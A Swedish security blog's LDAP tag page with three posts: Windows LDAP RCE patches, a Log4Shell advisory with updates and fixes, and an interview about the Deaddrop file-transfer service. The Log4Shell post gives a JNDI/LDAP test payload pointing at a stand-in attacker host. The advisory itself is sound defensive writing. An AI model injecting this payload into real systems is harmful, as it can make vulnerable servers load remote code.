Taggat med: LDAP

Windows RCE i LDAP

I tisdags var det återigen dags för Microsofts månatliga Patch-tisdag, och denna gång adresserades ett antal mycket allvarliga säkerhetsbrister. Totalt patchades 16 sårbarheter som möjliggör Remote Code Execution (RCE), varav flera klassas som kritiska.

Den brist med högst CVSSv3 base score var en sårbarhet i Windows LDAP-hantering som hamnar på hela 9.8. Som förmildrande åtgärd rekommenderar Microsoft att blockera inkommande RPC-anrop, samt förhindra helt utgående trafik från domänkontrollanter. Vid utnyttjande av bristen så erhåller en eventuell angripare samma rättigheter som LDAP-tjänsten. Samt så klart installera själva patchen som åtgärdar bristen (och övriga brister inom LDAP som listas nedan).

Extended Protection for Authentication (EPA), SMB signing och LDAP signing + channel binding är rekommenderat att använda generellt i Windows-miljöer för att höja säkerheten.

Även så har ett aktivt utnyttjande av en zero-day i Windows Common Log File System (CLFS) identifierats och patchats, CVE-2024-49138. Den har en något lägre CVSS på 7.8, främst för att det är en lokal brist men medger rättighetshöjningar.

Nedan följer en tabell med samtliga tre brister som åtgärdas i LDAP:

SeverityCVSS ScoreCVEDescription
Critical9.8CVE-2024-49112Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability
Critical8.1CVE-2024-49124Windows Lightweight Directory Access Protocol (LDAP) Client Remote Code Execution Vulnerability
Critical8.1CVE-2024-49127Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability

Allvarlig sårbarhet i Log4j

Uppdatering: Listan över sårbara applikationer och system bara växer. Nu senast har det visat sig att Ghidra från NSA är sårbart. Sårbarheten har fått det fyndiga namnet Log4Shell

Uppdatering 2: Nu har någon börjat att sammanställa en lista med sårbara system: https://twitter.com/80vul/status/1469250599846027265

Uppdatering 3: Sårbarheten har fått CVE-2021-44228. Uppdateringen log4j-2.15.0-rc1 var bristfällig så därför har log4j-2.15.0-rc2 släppts.

Uppdatering 4: Nu har version 2.16.0 släppts som helt stänger av JDNI som standard.

Log4j är ett populärt bibliotek som används för spårbarhet och loggning, flertalet populära system och produkter använder log4j såsom: Apple iCloud, Steam, Minecraft och Elasticsearch. Sårbarheten kan medge fjärrexekvering av kod (Remote Code Execution, RCE).

En bra payload för att testa är följande:

${jndi:ldap://attacker.com/a}

Ovan payload använder sig av Java Naming and Directory Interface och LDAP för att försöka ansluta till attacker.com. Givetvis kan även Burp Suite Collaborator också användas eller interact.sh för att detektera kommunikation (OOB).

För att åtgärda bristen kan version log4j-2.15.0-rc1 av log4j installeras eller så kan man sätta inställningen log4j2.formatMsgNoLookups till true.

Se även denna tråd på HackerNews.

Skicka information säkert med Deaddrop

Robert Malmgren DeaddropJag lyckades få en pratstund med Robert Malmgren som är teknikchef på IT-säkerhetsföretaget Romab och en av grundarna till den nya tjänsten Deaddrop.

Jonas: Hej Robert! Beskriv hur ni kom på idén med Deaddrop.

Robert: Den första är att vi hela tiden sprang på problemet i vår vardag med att få eller skicka information säkert till andra personer. Mer om detta sedan.

Det andra är att vi aldrig när vi gjorde audits eller säkerhetsgranskningar sprang på någon annan som hade hittat eller byggt en bra lösning för detta.

Så vi såg behovet – för eget bruk – att kunna skicka information utan att det behövdes programvara som installerades på klientdatorer. Med en webbaserad lösning kunde vi nå detta.

En annan sak att förstå med Deaddrop är att de som tar emot filer inte behöver konto, jämför med en del andra tjänster. Likaså, en stor skillnad mot alla befintliga tjänster på nätet man kunde använda, där man helt sonika gav sina filer till en okänd att sprida vidare, var att det finns ju inte nån som helst koll på att de inte snodde information, delade den med utländska underrättelsetjänster eller liknande.

Dessutom saknade de tjänsteleverantörer som tillhandahöll detta helt och hållet transparens. Hur vet man att inte den hostade tjänsten kördes på en körs på en opatchad och ett ohärdat operativsystem från 90-talet? Så, vi kom fram till att en appliancelösning som vi själva skötte (och som sedemera andra på liknande själv kan sätta upp och driva) är enda vägen framåt för att få kontroll över sin information och själva överföringen.

Dessutom, när vi tittade runt på vad som redan fanns tillgänglig, så hittade vi inte något som hade de grundläggande säkerhetsfunktioner som vi önskade, typ att få ett kvitto när någon laddat ner filen, kunna ställa in att filen skulle automatraderas efter 4 timmar, ha toklånga lösenord med mera.

En felaktig slutsats som många gör när de diskuterar om PGP hit och PGP dit, är hur enkelt det är att utväxla information säkert med folk – via för oss standardverktyg – såsom verktygen PGP/GnuPG. Vi skulle sluppit en omväg på två år om ALLA KÖRDE PGP, eller ALLA hade certifikat och mailläsare med S/MIME-stöd eller nåt annat *universellt* för överföra filer säkert. Många tekniker befinner sig inte i den riktiga världen där det finns ”vanliga människor” som jobbar på ett företag med en sur IT-avdelning som totalvägrar stoppa in annat i klientdatorn  än vad som är deras ”befintliga applikationsportfölj”.

Tyvärr är inte GnuPG förinstallerat eller ens med bland applikationsfloran hos den absoluta majoriteten hos svenska företag och organisationer. Tyvärr. Så förutom ”vanliga användares” dåliga tekniska förutsättningar att kunna installera, eller beställa från sin IT-avdelning att de installerar detta, så har många organisationer IT-policies och IT-säkerhetspolices som förbjuder installation av nya, ickestandariserade, program. Inte ens folk på många säkerhetsföretag eller säkerhetsavdelningar har tillgång till PGP eller vet ens hur man använder det.

Skärmdump:

Deaddrop skärmdump

Jonas: Vilka är ni som står bakom tjänsten?

Robert: Från Romab är vi Tobbe, Andreas och jag samt en webbdesigner som heter Simon Gustafsson.

Tobbe är storpappa till det hela. Det är han som i vres över att folk aldrig kunde ta emot nåt annat än fysiskt levererade USB-minnen började hacka. Sen har han utvecklat allt på sin fritid fram tills nu.

Andreas har skrivit SELinuxpolicies så att fingrarna blöder. Det lär finnas få som har gått så på djupet med SEL som han, både med detta projekt och med andra liknande projekt.

Jonas: Var kan läsare hitta mer information och när?

Robert: Man kan besöka webbplatsen för sysctl.se, vårt utvecklingsbolag. Där finns det lite  information. Vi håller på och ska lägga upp mer. Annars kan man kontakta oss direkt för mer info, demo, test- och utvärderingsinstallationer.

Jonas: Hur ser ni på framtiden gällande produkten

Robert: Vi har nya installationer på gång, vilket är kul ur ett affärsperspektiv, att något man byggt med våra egna små nävar faktiskt är nåt som folk tycker är användbart, bra och snyggt.

Vi har en massa nya funktioner som vi planerar få in i nya versioner av Deaddrop. Det inkluderar allt ifrån svart- och vitlistning av filer, tidsstyrt frisläppande av filer som exempelvis gör att en fil man skickar upp idag går ut till typ 100 personer imorgon 12:00, kryptografiskt starka tidsstämplar (TSP, RFC 3161) på loggar över filer som passerat, API så man kan integrera Deaddrop i arbetsflöden, etc.

Sånt som av andra kanske kan anses som småsaker, men som vi är ganska upplyfta av, är att migrera hela lösningen till CentOS7, så vi får en apache som kan lite nya trix, inklusive TLS 1.2

Andra funktioner som står för dörren är AD-integration, stöd för LDAP,  stöd för fler språk, och ett ganska rejält utbyggt administrationsgränssnitt.

Den grundplattform vi tagit fram, med allt ifrån byggmiljöer och härdning och automatiseringsfunktioner för autopatchning mm är något som möjliggör framtagande av andra produkter i framtiden, något som vi håller på och filosoferar lite på.

Jonas: Är det öppen källkod?

Robert: Det är en kommersiell produkt. Det sagt, så tillhandahåller vi ändå – utan att knussla – källkod för kunder så att de kan göra säkerhetsgranskningar.

De opensource-komponenter som vi använder oss av är givetvis helt tillgängliga för andra.

Likaså så har vi en del egenutvecklade komponenter som vi planerar att släppa som OSS, såsom exempelvis kod för att agera klister mellan perl och seccomp-bpf.

Jonas: Intäkter eller liknande, kommersiell?

Robert: Som jag sa tidigare, kommersiell produkt, licensierad på antalet användare, vilka pluginmoduler man vill ha, extratjänster såsom SMS-gateway via tredjepart, hur stor burk med en massa extra lullull, etc.

Jonas: Vilka algoritmer ligger till grund för tjänsten?

Robert: En ganska hårt uppstyrd Apache webbserver med en SSL-konf där bara vissa ciphersuites är tillåtna.

Sen har vi diverse andra kryptoalgoritmer som nyttjas på andra ställen, tex inloggning (unix, klientcert mm), för att generera engångslösenord, etc.  På ett liknande sätt, så använder vi systemets funktioner för signering av våra egna programpaket som automatiskt distribueras.

Jonas: Tack Robert. Håll utkik efter mer information om Deaddrop i framtiden.